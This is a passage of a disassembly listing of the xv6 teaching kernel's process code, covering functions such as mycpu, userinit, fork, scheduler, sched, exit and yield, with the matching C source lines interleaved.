801035e5: e8 56 0a 00 00 call 80104040 <initlock>
}
801035ea: c9 leave
801035eb: c3 ret
801035ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801035f0 <mycpu>:
{
801035f0: 55 push %ebp
801035f1: 89 e5 mov %esp,%ebp
801035f3: 56 push %esi
801035f4: 53 push %ebx
801035f5: 83 ec 10 sub $0x10,%esp
asm volatile("pushfl; popl %0" : "=r" (eflags));
801035f8: 9c pushf
801035f9: 58 pop %eax
if(readeflags()&FL_IF)
801035fa: f6 c4 02 test $0x2,%ah
801035fd: 75 57 jne 80103656 <mycpu+0x66>
apicid = lapicid();
801035ff: e8 4c f1 ff ff call 80102750 <lapicid>
for (i = 0; i < ncpu; ++i) {
80103604: 8b 35 00 2d 11 80 mov 0x80112d00,%esi
8010360a: 85 f6 test %esi,%esi
8010360c: 7e 3c jle 8010364a <mycpu+0x5a>
if (cpus[i].apicid == apicid)
8010360e: 0f b6 15 80 27 11 80 movzbl 0x80112780,%edx
80103615: 39 c2 cmp %eax,%edx
80103617: 74 2d je 80103646 <mycpu+0x56>
80103619: b9 30 28 11 80 mov $0x80112830,%ecx
for (i = 0; i < ncpu; ++i) {
8010361e: 31 d2 xor %edx,%edx
80103620: 83 c2 01 add $0x1,%edx
80103623: 39 f2 cmp %esi,%edx
80103625: 74 23 je 8010364a <mycpu+0x5a>
if (cpus[i].apicid == apicid)
80103627: 0f b6 19 movzbl (%ecx),%ebx
8010362a: 81 c1 b0 00 00 00 add $0xb0,%ecx
80103630: 39 c3 cmp %eax,%ebx
80103632: 75 ec jne 80103620 <mycpu+0x30>
return &cpus[i];
80103634: 69 c2 b0 00 00 00 imul $0xb0,%edx,%eax
}
8010363a: 83 c4 10 add $0x10,%esp
8010363d: 5b pop %ebx
8010363e: 5e pop %esi
8010363f: 5d pop %ebp
return &cpus[i];
80103640: 05 80 27 11 80 add $0x80112780,%eax
}
80103645: c3 ret
for (i = 0; i < ncpu; ++i) {
80103646: 31 d2 xor %edx,%edx
80103648: eb ea jmp 80103634 <mycpu+0x44>
panic("unknown apicid\n");
8010364a: c7 04 24 9c 73 10 80 movl $0x8010739c,(%esp)
80103651: e8 0a cd ff ff call 80100360 <panic>
panic("mycpu called with interrupts enabled\n");
80103656: c7 04 24 78 74 10 80 movl $0x80107478,(%esp)
8010365d: e8 fe cc ff ff call 80100360 <panic>
80103662: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80103669: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80103670 <cpuid>:
cpuid() {
80103670: 55 push %ebp
80103671: 89 e5 mov %esp,%ebp
80103673: 83 ec 08 sub $0x8,%esp
return mycpu()-cpus;
80103676: e8 75 ff ff ff call 801035f0 <mycpu>
}
8010367b: c9 leave
return mycpu()-cpus;
8010367c: 2d 80 27 11 80 sub $0x80112780,%eax
80103681: c1 f8 04 sar $0x4,%eax
80103684: 69 c0 a3 8b 2e ba imul $0xba2e8ba3,%eax,%eax
}
8010368a: c3 ret
8010368b: 90 nop
8010368c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80103690 <myproc>:
myproc(void) {
80103690: 55 push %ebp
80103691: 89 e5 mov %esp,%ebp
80103693: 53 push %ebx
80103694: 83 ec 04 sub $0x4,%esp
pushcli();
80103697: e8 54 0a 00 00 call 801040f0 <pushcli>
c = mycpu();
8010369c: e8 4f ff ff ff call 801035f0 <mycpu>
p = c->proc;
801036a1: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx
popcli();
801036a7: e8 04 0b 00 00 call 801041b0 <popcli>
}
801036ac: 83 c4 04 add $0x4,%esp
801036af: 89 d8 mov %ebx,%eax
801036b1: 5b pop %ebx
801036b2: 5d pop %ebp
801036b3: c3 ret
801036b4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801036ba: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
801036c0 <userinit>:
{
801036c0: 55 push %ebp
801036c1: 89 e5 mov %esp,%ebp
801036c3: 53 push %ebx
801036c4: 83 ec 14 sub $0x14,%esp
p = allocproc();
801036c7: e8 e4 fd ff ff call 801034b0 <allocproc>
801036cc: 89 c3 mov %eax,%ebx
initproc = p;
801036ce: a3 b8 a5 10 80 mov %eax,0x8010a5b8
if((p->pgdir = setupkvm()) == 0)
801036d3: e8 98 33 00 00 call 80106a70 <setupkvm>
801036d8: 85 c0 test %eax,%eax
801036da: 89 43 04 mov %eax,0x4(%ebx)
801036dd: 0f 84 d4 00 00 00 je 801037b7 <userinit+0xf7>
inituvm(p->pgdir, _binary_initcode_start, (int)_binary_initcode_size);
801036e3: 89 04 24 mov %eax,(%esp)
801036e6: c7 44 24 08 2c 00 00 movl $0x2c,0x8(%esp)
801036ed: 00
801036ee: c7 44 24 04 60 a4 10 movl $0x8010a460,0x4(%esp)
801036f5: 80
801036f6: e8 a5 30 00 00 call 801067a0 <inituvm>
p->sz = PGSIZE;
801036fb: c7 03 00 10 00 00 movl $0x1000,(%ebx)
memset(p->tf, 0, sizeof(*p->tf));
80103701: c7 44 24 08 4c 00 00 movl $0x4c,0x8(%esp)
80103708: 00
80103709: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80103710: 00
80103711: 8b 43 18 mov 0x18(%ebx),%eax
80103714: 89 04 24 mov %eax,(%esp)
80103717: e8 54 0b 00 00 call 80104270 <memset>
p->tf->cs = (SEG_UCODE << 3) | DPL_USER;
8010371c: 8b 43 18 mov 0x18(%ebx),%eax
8010371f: ba 1b 00 00 00 mov $0x1b,%edx
p->tf->ds = (SEG_UDATA << 3) | DPL_USER;
80103724: b9 23 00 00 00 mov $0x23,%ecx
p->tf->cs = (SEG_UCODE << 3) | DPL_USER;
80103729: 66 89 50 3c mov %dx,0x3c(%eax)
p->tf->ds = (SEG_UDATA << 3) | DPL_USER;
8010372d: 8b 43 18 mov 0x18(%ebx),%eax
80103730: 66 89 48 2c mov %cx,0x2c(%eax)
p->tf->es = p->tf->ds;
80103734: 8b 43 18 mov 0x18(%ebx),%eax
80103737: 0f b7 50 2c movzwl 0x2c(%eax),%edx
8010373b: 66 89 50 28 mov %dx,0x28(%eax)
p->tf->ss = p->tf->ds;
8010373f: 8b 43 18 mov 0x18(%ebx),%eax
80103742: 0f b7 50 2c movzwl 0x2c(%eax),%edx
80103746: 66 89 50 48 mov %dx,0x48(%eax)
p->tf->eflags = FL_IF;
8010374a: 8b 43 18 mov 0x18(%ebx),%eax
8010374d: c7 40 40 00 02 00 00 movl $0x200,0x40(%eax)
p->tf->esp = PGSIZE;
80103754: 8b 43 18 mov 0x18(%ebx),%eax
80103757: c7 40 44 00 10 00 00 movl $0x1000,0x44(%eax)
p->tf->eip = 0; // beginning of initcode.S
8010375e: 8b 43 18 mov 0x18(%ebx),%eax
80103761: c7 40 38 00 00 00 00 movl $0x0,0x38(%eax)
safestrcpy(p->name, "initcode", sizeof(p->name));
80103768: 8d 43 6c lea 0x6c(%ebx),%eax
8010376b: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
80103772: 00
80103773: c7 44 24 04 c5 73 10 movl $0x801073c5,0x4(%esp)
8010377a: 80
8010377b: 89 04 24 mov %eax,(%esp)
8010377e: e8 cd 0c 00 00 call 80104450 <safestrcpy>
p->cwd = namei("/");
80103783: c7 04 24 ce 73 10 80 movl $0x801073ce,(%esp)
8010378a: e8 61 e7 ff ff call 80101ef0 <namei>
8010378f: 89 43 68 mov %eax,0x68(%ebx)
acquire(&ptable.lock);
80103792: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
80103799: e8 92 09 00 00 call 80104130 <acquire>
p->state = RUNNABLE;
8010379e: c7 43 0c 03 00 00 00 movl $0x3,0xc(%ebx)
release(&ptable.lock);
801037a5: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
801037ac: e8 6f 0a 00 00 call 80104220 <release>
}
801037b1: 83 c4 14 add $0x14,%esp
801037b4: 5b pop %ebx
801037b5: 5d pop %ebp
801037b6: c3 ret
panic("userinit: out of memory?");
801037b7: c7 04 24 ac 73 10 80 movl $0x801073ac,(%esp)
801037be: e8 9d cb ff ff call 80100360 <panic>
801037c3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801037c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801037d0 <growproc>:
{
801037d0: 55 push %ebp
801037d1: 89 e5 mov %esp,%ebp
801037d3: 56 push %esi
801037d4: 53 push %ebx
801037d5: 83 ec 10 sub $0x10,%esp
801037d8: 8b 75 08 mov 0x8(%ebp),%esi
struct proc *curproc = myproc();
801037db: e8 b0 fe ff ff call 80103690 <myproc>
if(n > 0){
801037e0: 83 fe 00 cmp $0x0,%esi
struct proc *curproc = myproc();
801037e3: 89 c3 mov %eax,%ebx
sz = curproc->sz;
801037e5: 8b 00 mov (%eax),%eax
if(n > 0){
801037e7: 7e 2f jle 80103818 <growproc+0x48>
if((sz = allocuvm(curproc->pgdir, sz, sz + n)) == 0)
801037e9: 01 c6 add %eax,%esi
801037eb: 89 74 24 08 mov %esi,0x8(%esp)
801037ef: 89 44 24 04 mov %eax,0x4(%esp)
801037f3: 8b 43 04 mov 0x4(%ebx),%eax
801037f6: 89 04 24 mov %eax,(%esp)
801037f9: e8 e2 30 00 00 call 801068e0 <allocuvm>
801037fe: 85 c0 test %eax,%eax
80103800: 74 36 je 80103838 <growproc+0x68>
curproc->sz = sz;
80103802: 89 03 mov %eax,(%ebx)
switchuvm(curproc);
80103804: 89 1c 24 mov %ebx,(%esp)
80103807: e8 84 2e 00 00 call 80106690 <switchuvm>
return 0;
8010380c: 31 c0 xor %eax,%eax
}
8010380e: 83 c4 10 add $0x10,%esp
80103811: 5b pop %ebx
80103812: 5e pop %esi
80103813: 5d pop %ebp
80103814: c3 ret
80103815: 8d 76 00 lea 0x0(%esi),%esi
} else if(n < 0){
80103818: 74 e8 je 80103802 <growproc+0x32>
if((sz = deallocuvm(curproc->pgdir, sz, sz + n)) == 0)
8010381a: 01 c6 add %eax,%esi
8010381c: 89 74 24 08 mov %esi,0x8(%esp)
80103820: 89 44 24 04 mov %eax,0x4(%esp)
80103824: 8b 43 04 mov 0x4(%ebx),%eax
80103827: 89 04 24 mov %eax,(%esp)
8010382a: e8 a1 31 00 00 call 801069d0 <deallocuvm>
8010382f: 85 c0 test %eax,%eax
80103831: 75 cf jne 80103802 <growproc+0x32>
80103833: 90 nop
80103834: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
return -1;
80103838: b8 ff ff ff ff mov $0xffffffff,%eax
8010383d: eb cf jmp 8010380e <growproc+0x3e>
8010383f: 90 nop
80103840 <fork>:
{
80103840: 55 push %ebp
80103841: 89 e5 mov %esp,%ebp
80103843: 57 push %edi
80103844: 56 push %esi
80103845: 53 push %ebx
80103846: 83 ec 1c sub $0x1c,%esp
struct proc *curproc = myproc();
80103849: e8 42 fe ff ff call 80103690 <myproc>
8010384e: 89 c3 mov %eax,%ebx
if((np = allocproc()) == 0){
80103850: e8 5b fc ff ff call 801034b0 <allocproc>
80103855: 85 c0 test %eax,%eax
80103857: 89 c7 mov %eax,%edi
80103859: 89 45 e4 mov %eax,-0x1c(%ebp)
8010385c: 0f 84 bc 00 00 00 je 8010391e <fork+0xde>
if((np->pgdir = copyuvm(curproc->pgdir, curproc->sz)) == 0){
80103862: 8b 03 mov (%ebx),%eax
80103864: 89 44 24 04 mov %eax,0x4(%esp)
80103868: 8b 43 04 mov 0x4(%ebx),%eax
8010386b: 89 04 24 mov %eax,(%esp)
8010386e: e8 dd 32 00 00 call 80106b50 <copyuvm>
80103873: 85 c0 test %eax,%eax
80103875: 89 47 04 mov %eax,0x4(%edi)
80103878: 0f 84 a7 00 00 00 je 80103925 <fork+0xe5>
np->sz = curproc->sz;
8010387e: 8b 03 mov (%ebx),%eax
80103880: 8b 4d e4 mov -0x1c(%ebp),%ecx
80103883: 89 01 mov %eax,(%ecx)
*np->tf = *curproc->tf;
80103885: 8b 79 18 mov 0x18(%ecx),%edi
80103888: 89 c8 mov %ecx,%eax
np->parent = curproc;
8010388a: 89 59 14 mov %ebx,0x14(%ecx)
*np->tf = *curproc->tf;
8010388d: 8b 73 18 mov 0x18(%ebx),%esi
80103890: b9 13 00 00 00 mov $0x13,%ecx
80103895: f3 a5 rep movsl %ds:(%esi),%es:(%edi)
for(i = 0; i < NOFILE; i++)
80103897: 31 f6 xor %esi,%esi
np->tf->eax = 0;
80103899: 8b 40 18 mov 0x18(%eax),%eax
8010389c: c7 40 1c 00 00 00 00 movl $0x0,0x1c(%eax)
801038a3: 90 nop
801038a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(curproc->ofile[i])
801038a8: 8b 44 b3 28 mov 0x28(%ebx,%esi,4),%eax
801038ac: 85 c0 test %eax,%eax
801038ae: 74 0f je 801038bf <fork+0x7f>
np->ofile[i] = filedup(curproc->ofile[i]);
801038b0: 89 04 24 mov %eax,(%esp)
801038b3: e8 08 d5 ff ff call 80100dc0 <filedup>
801038b8: 8b 55 e4 mov -0x1c(%ebp),%edx
801038bb: 89 44 b2 28 mov %eax,0x28(%edx,%esi,4)
for(i = 0; i < NOFILE; i++)
801038bf: 83 c6 01 add $0x1,%esi
801038c2: 83 fe 10 cmp $0x10,%esi
801038c5: 75 e1 jne 801038a8 <fork+0x68>
np->cwd = idup(curproc->cwd);
801038c7: 8b 43 68 mov 0x68(%ebx),%eax
safestrcpy(np->name, curproc->name, sizeof(curproc->name));
801038ca: 83 c3 6c add $0x6c,%ebx
np->cwd = idup(curproc->cwd);
801038cd: 89 04 24 mov %eax,(%esp)
801038d0: e8 9b dd ff ff call 80101670 <idup>
801038d5: 8b 7d e4 mov -0x1c(%ebp),%edi
801038d8: 89 47 68 mov %eax,0x68(%edi)
safestrcpy(np->name, curproc->name, sizeof(curproc->name));
801038db: 8d 47 6c lea 0x6c(%edi),%eax
801038de: 89 5c 24 04 mov %ebx,0x4(%esp)
801038e2: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
801038e9: 00
801038ea: 89 04 24 mov %eax,(%esp)
801038ed: e8 5e 0b 00 00 call 80104450 <safestrcpy>
pid = np->pid;
801038f2: 8b 5f 10 mov 0x10(%edi),%ebx
acquire(&ptable.lock);
801038f5: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
801038fc: e8 2f 08 00 00 call 80104130 <acquire>
np->state = RUNNABLE;
80103901: c7 47 0c 03 00 00 00 movl $0x3,0xc(%edi)
release(&ptable.lock);
80103908: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
8010390f: e8 0c 09 00 00 call 80104220 <release>
return pid;
80103914: 89 d8 mov %ebx,%eax
}
80103916: 83 c4 1c add $0x1c,%esp
80103919: 5b pop %ebx
8010391a: 5e pop %esi
8010391b: 5f pop %edi
8010391c: 5d pop %ebp
8010391d: c3 ret
return -1;
8010391e: b8 ff ff ff ff mov $0xffffffff,%eax
80103923: eb f1 jmp 80103916 <fork+0xd6>
kfree(np->kstack);
80103925: 8b 7d e4 mov -0x1c(%ebp),%edi
80103928: 8b 47 08 mov 0x8(%edi),%eax
8010392b: 89 04 24 mov %eax,(%esp)
8010392e: e8 ad e9 ff ff call 801022e0 <kfree>
return -1;
80103933: b8 ff ff ff ff mov $0xffffffff,%eax
np->kstack = 0;
80103938: c7 47 08 00 00 00 00 movl $0x0,0x8(%edi)
np->state = UNUSED;
8010393f: c7 47 0c 00 00 00 00 movl $0x0,0xc(%edi)
return -1;
80103946: eb ce jmp 80103916 <fork+0xd6>
80103948: 90 nop
80103949: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80103950 <scheduler>:
{
80103950: 55 push %ebp
80103951: 89 e5 mov %esp,%ebp
80103953: 57 push %edi
80103954: 56 push %esi
80103955: 53 push %ebx
80103956: 83 ec 1c sub $0x1c,%esp
struct cpu *c = mycpu();
80103959: e8 92 fc ff ff call 801035f0 <mycpu>
8010395e: 89 c6 mov %eax,%esi
c->proc = 0;
80103960: c7 80 ac 00 00 00 00 movl $0x0,0xac(%eax)
80103967: 00 00 00
8010396a: 8d 78 04 lea 0x4(%eax),%edi
8010396d: 8d 76 00 lea 0x0(%esi),%esi
asm volatile("sti");
80103970: fb sti
acquire(&ptable.lock);
80103971: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103978: bb 54 2d 11 80 mov $0x80112d54,%ebx
acquire(&ptable.lock);
8010397d: e8 ae 07 00 00 call 80104130 <acquire>
80103982: eb 0f jmp 80103993 <scheduler+0x43>
80103984: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103988: 83 eb 80 sub $0xffffff80,%ebx
8010398b: 81 fb 54 4d 11 80 cmp $0x80114d54,%ebx
80103991: 74 45 je 801039d8 <scheduler+0x88>
if(p->state != RUNNABLE)
80103993: 83 7b 0c 03 cmpl $0x3,0xc(%ebx)
80103997: 75 ef jne 80103988 <scheduler+0x38>
c->proc = p;
80103999: 89 9e ac 00 00 00 mov %ebx,0xac(%esi)
switchuvm(p);
8010399f: 89 1c 24 mov %ebx,(%esp)
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
801039a2: 83 eb 80 sub $0xffffff80,%ebx
switchuvm(p);
801039a5: e8 e6 2c 00 00 call 80106690 <switchuvm>
swtch(&(c->scheduler), p->context);
801039aa: 8b 43 9c mov -0x64(%ebx),%eax
p->state = RUNNING;
801039ad: c7 43 8c 04 00 00 00 movl $0x4,-0x74(%ebx)
swtch(&(c->scheduler), p->context);
801039b4: 89 3c 24 mov %edi,(%esp)
801039b7: 89 44 24 04 mov %eax,0x4(%esp)
801039bb: e8 eb 0a 00 00 call 801044ab <swtch>
switchkvm();
801039c0: e8 ab 2c 00 00 call 80106670 <switchkvm>
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
801039c5: 81 fb 54 4d 11 80 cmp $0x80114d54,%ebx
c->proc = 0;
801039cb: c7 86 ac 00 00 00 00 movl $0x0,0xac(%esi)
801039d2: 00 00 00
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
801039d5: 75 bc jne 80103993 <scheduler+0x43>
801039d7: 90 nop
release(&ptable.lock);
801039d8: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
801039df: e8 3c 08 00 00 call 80104220 <release>
}
801039e4: eb 8a jmp 80103970 <scheduler+0x20>
801039e6: 8d 76 00 lea 0x0(%esi),%esi
801039e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801039f0 <sched>:
{
801039f0: 55 push %ebp
801039f1: 89 e5 mov %esp,%ebp
801039f3: 56 push %esi
801039f4: 53 push %ebx
801039f5: 83 ec 10 sub $0x10,%esp
struct proc *p = myproc();
801039f8: e8 93 fc ff ff call 80103690 <myproc>
if(!holding(&ptable.lock))
801039fd: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
struct proc *p = myproc();
80103a04: 89 c3 mov %eax,%ebx
if(!holding(&ptable.lock))
80103a06: e8 b5 06 00 00 call 801040c0 <holding>
80103a0b: 85 c0 test %eax,%eax
80103a0d: 74 4f je 80103a5e <sched+0x6e>
if(mycpu()->ncli != 1)
80103a0f: e8 dc fb ff ff call 801035f0 <mycpu>
80103a14: 83 b8 a4 00 00 00 01 cmpl $0x1,0xa4(%eax)
80103a1b: 75 65 jne 80103a82 <sched+0x92>
if(p->state == RUNNING)
80103a1d: 83 7b 0c 04 cmpl $0x4,0xc(%ebx)
80103a21: 74 53 je 80103a76 <sched+0x86>
asm volatile("pushfl; popl %0" : "=r" (eflags));
80103a23: 9c pushf
80103a24: 58 pop %eax
if(readeflags()&FL_IF)
80103a25: f6 c4 02 test $0x2,%ah
80103a28: 75 40 jne 80103a6a <sched+0x7a>
intena = mycpu()->intena;
80103a2a: e8 c1 fb ff ff call 801035f0 <mycpu>
swtch(&p->context, mycpu()->scheduler);
80103a2f: 83 c3 1c add $0x1c,%ebx
intena = mycpu()->intena;
80103a32: 8b b0 a8 00 00 00 mov 0xa8(%eax),%esi
swtch(&p->context, mycpu()->scheduler);
80103a38: e8 b3 fb ff ff call 801035f0 <mycpu>
80103a3d: 8b 40 04 mov 0x4(%eax),%eax
80103a40: 89 1c 24 mov %ebx,(%esp)
80103a43: 89 44 24 04 mov %eax,0x4(%esp)
80103a47: e8 5f 0a 00 00 call 801044ab <swtch>
mycpu()->intena = intena;
80103a4c: e8 9f fb ff ff call 801035f0 <mycpu>
80103a51: 89 b0 a8 00 00 00 mov %esi,0xa8(%eax)
}
80103a57: 83 c4 10 add $0x10,%esp
80103a5a: 5b pop %ebx
80103a5b: 5e pop %esi
80103a5c: 5d pop %ebp
80103a5d: c3 ret
panic("sched ptable.lock");
80103a5e: c7 04 24 d0 73 10 80 movl $0x801073d0,(%esp)
80103a65: e8 f6 c8 ff ff call 80100360 <panic>
panic("sched interruptible");
80103a6a: c7 04 24 fc 73 10 80 movl $0x801073fc,(%esp)
80103a71: e8 ea c8 ff ff call 80100360 <panic>
panic("sched running");
80103a76: c7 04 24 ee 73 10 80 movl $0x801073ee,(%esp)
80103a7d: e8 de c8 ff ff call 80100360 <panic>
panic("sched locks");
80103a82: c7 04 24 e2 73 10 80 movl $0x801073e2,(%esp)
80103a89: e8 d2 c8 ff ff call 80100360 <panic>
80103a8e: 66 90 xchg %ax,%ax
80103a90 <exit>:
{
80103a90: 55 push %ebp
80103a91: 89 e5 mov %esp,%ebp
80103a93: 56 push %esi
if(curproc == initproc)
80103a94: 31 f6 xor %esi,%esi
{
80103a96: 53 push %ebx
80103a97: 83 ec 10 sub $0x10,%esp
struct proc *curproc = myproc();
80103a9a: e8 f1 fb ff ff call 80103690 <myproc>
if(curproc == initproc)
80103a9f: 3b 05 b8 a5 10 80 cmp 0x8010a5b8,%eax
struct proc *curproc = myproc();
80103aa5: 89 c3 mov %eax,%ebx
if(curproc == initproc)
80103aa7: 0f 84 ea 00 00 00 je 80103b97 <exit+0x107>
80103aad: 8d 76 00 lea 0x0(%esi),%esi
if(curproc->ofile[fd]){
80103ab0: 8b 44 b3 28 mov 0x28(%ebx,%esi,4),%eax
80103ab4: 85 c0 test %eax,%eax
80103ab6: 74 10 je 80103ac8 <exit+0x38>
fileclose(curproc->ofile[fd]);
80103ab8: 89 04 24 mov %eax,(%esp)
80103abb: e8 50 d3 ff ff call 80100e10 <fileclose>
curproc->ofile[fd] = 0;
80103ac0: c7 44 b3 28 00 00 00 movl $0x0,0x28(%ebx,%esi,4)
80103ac7: 00
for(fd = 0; fd < NOFILE; fd++){
80103ac8: 83 c6 01 add $0x1,%esi
80103acb: 83 fe 10 cmp $0x10,%esi
80103ace: 75 e0 jne 80103ab0 <exit+0x20>
begin_op();
80103ad0: e8 2b f0 ff ff call 80102b00 <begin_op>
iput(curproc->cwd);
80103ad5: 8b 43 68 mov 0x68(%ebx),%eax
80103ad8: 89 04 24 mov %eax,(%esp)
80103adb: e8 e0 dc ff ff call 801017c0 <iput>
end_op();
80103ae0: e8 8b f0 ff ff call 80102b70 <end_op>
curproc->cwd = 0;
80103ae5: c7 43 68 00 00 00 00 movl $0x0,0x68(%ebx)
acquire(&ptable.lock);
80103aec: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
80103af3: e8 38 06 00 00 call 80104130 <acquire>
wakeup1(curproc->parent);
80103af8: 8b 43 14 mov 0x14(%ebx),%eax
static void
wakeup1(void *chan)
{
struct proc *p;
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80103afb: ba 54 2d 11 80 mov $0x80112d54,%edx
80103b00: eb 11 jmp 80103b13 <exit+0x83>
80103b02: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80103b08: 83 ea 80 sub $0xffffff80,%edx
80103b0b: 81 fa 54 4d 11 80 cmp $0x80114d54,%edx
80103b11: 74 1d je 80103b30 <exit+0xa0>
if(p->state == SLEEPING && p->chan == chan)
80103b13: 83 7a 0c 02 cmpl $0x2,0xc(%edx)
80103b17: 75 ef jne 80103b08 <exit+0x78>
80103b19: 3b 42 20 cmp 0x20(%edx),%eax
80103b1c: 75 ea jne 80103b08 <exit+0x78>
p->state = RUNNABLE;
80103b1e: c7 42 0c 03 00 00 00 movl $0x3,0xc(%edx)
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80103b25: 83 ea 80 sub $0xffffff80,%edx
80103b28: 81 fa 54 4d 11 80 cmp $0x80114d54,%edx
80103b2e: 75 e3 jne 80103b13 <exit+0x83>
p->parent = initproc;
80103b30: a1 b8 a5 10 80 mov 0x8010a5b8,%eax
80103b35: b9 54 2d 11 80 mov $0x80112d54,%ecx
80103b3a: eb 0f jmp 80103b4b <exit+0xbb>
80103b3c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103b40: 83 e9 80 sub $0xffffff80,%ecx
80103b43: 81 f9 54 4d 11 80 cmp $0x80114d54,%ecx
80103b49: 74 34 je 80103b7f <exit+0xef>
if(p->parent == curproc){
80103b4b: 39 59 14 cmp %ebx,0x14(%ecx)
80103b4e: 75 f0 jne 80103b40 <exit+0xb0>
if(p->state == ZOMBIE)
80103b50: 83 79 0c 05 cmpl $0x5,0xc(%ecx)
p->parent = initproc;
80103b54: 89 41 14 mov %eax,0x14(%ecx)
if(p->state == ZOMBIE)
80103b57: 75 e7 jne 80103b40 <exit+0xb0>
80103b59: ba 54 2d 11 80 mov $0x80112d54,%edx
80103b5e: eb 0b jmp 80103b6b <exit+0xdb>
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80103b60: 83 ea 80 sub $0xffffff80,%edx
80103b63: 81 fa 54 4d 11 80 cmp $0x80114d54,%edx
80103b69: 74 d5 je 80103b40 <exit+0xb0>
if(p->state == SLEEPING && p->chan == chan)
80103b6b: 83 7a 0c 02 cmpl $0x2,0xc(%edx)
80103b6f: 75 ef jne 80103b60 <exit+0xd0>
80103b71: 3b 42 20 cmp 0x20(%edx),%eax
80103b74: 75 ea jne 80103b60 <exit+0xd0>
p->state = RUNNABLE;
80103b76: c7 42 0c 03 00 00 00 movl $0x3,0xc(%edx)
80103b7d: eb e1 jmp 80103b60 <exit+0xd0>
curproc->state = ZOMBIE;
80103b7f: c7 43 0c 05 00 00 00 movl $0x5,0xc(%ebx)
sched();
80103b86: e8 65 fe ff ff call 801039f0 <sched>
panic("zombie exit");
80103b8b: c7 04 24 1d 74 10 80 movl $0x8010741d,(%esp)
80103b92: e8 c9 c7 ff ff call 80100360 <panic>
panic("init exiting");
80103b97: c7 04 24 10 74 10 80 movl $0x80107410,(%esp)
80103b9e: e8 bd c7 ff ff call 80100360 <panic>
80103ba3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80103ba9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80103bb0 <yield>:
{
80103bb0: 55 push %ebp
80103bb1: 89 e5 mov %esp,%ebp
80103bb3: 83 ec 18 sub $0x18,%esp
acquire(&ptable.lock); //DOC: yieldlock
80103bb6: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
80103bbd: e8 6e 05 00 00 call 80104130 <acquire>
myproc()->state = RUNNABLE;
80103bc2: e8 c9 fa ff ff call 80103690 <myproc>
80103bc7: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
sched();
80103bce: e8 1d fe ff ff call 801039f0 <sched>
release(&ptable.lock);
80103bd3: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
80103bda: e8 41 06 00 00 call 80104220 <release>
}
80103bdf: c9 leave
80103be0: c3 ret
80103be1: eb 0d jmp 80103bf0 <sleep>
80103be3: 90 nop
80103be4: 90 nop
80103be5: 90 nop
80103be6: 90 nop
80103be7: 90 nop
80103be8: 90 nop
80103be9: 90 nop
80103bea: 90 nop
80103beb: 90 nop
80103bec: 90 nop
80103bed: 90 nop
80103bee: 90 nop
80103bef: 90 nop
80103bf0 <sleep>:
{
80103bf0: 55 push %ebp
80103bf1: 89 e5 mov %esp,%ebp
80103bf3: 57 push %edi
80103bf4: 56 push %esi
80103bf5: 53 push %ebx
80103bf6: 83 ec 1c sub $0x1c,%esp
80103bf9: 8b 7d 08 mov 0x8(%ebp),%edi
80103bfc: 8b 75 0c mov 0xc(%ebp),%esi
struct proc *p = myproc();
80103bff: e8 8c fa ff ff call 80103690 <myproc>
if(p == 0)
80103c04: 85 c0 test %eax,%eax
struct proc *p = myproc();
80103c06: 89 c3 mov %eax,%ebx
if(p == 0)
80103c08: 0f 84 7c 00 00 00 je 80103c8a <sleep+0x9a>
if(lk == 0)
80103c0e: 85 f6 test %esi,%esi
80103c10: 74 6c je 80103c7e <sleep+0x8e>
if(lk != &ptable.lock){ //DOC: sleeplock0
80103c12: 81 fe 20 2d 11 80 cmp $0x80112d20,%esi
80103c18: 74 46 je 80103c60 <sleep+0x70>
acquire(&ptable.lock); //DOC: sleeplock1
80103c1a: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
80103c21: e8 0a 05 00 00 call 80104130 <acquire>
release(lk);
80103c26: 89 34 24 mov %esi,(%esp)
80103c29: e8 f2 05 00 00 call 80104220 <release>
p->chan = chan;
80103c2e: 89 7b 20 mov %edi,0x20(%ebx)
p->state = SLEEPING;
80103c31: c7 43 0c 02 00 00 00 movl $0x2,0xc(%ebx)
sched();
80103c38: e8 b3 fd ff ff call 801039f0 <sched>
p->chan = 0;
80103c3d: c7 43 20 00 00 00 00 movl $0x0,0x20(%ebx)
release(&ptable.lock);
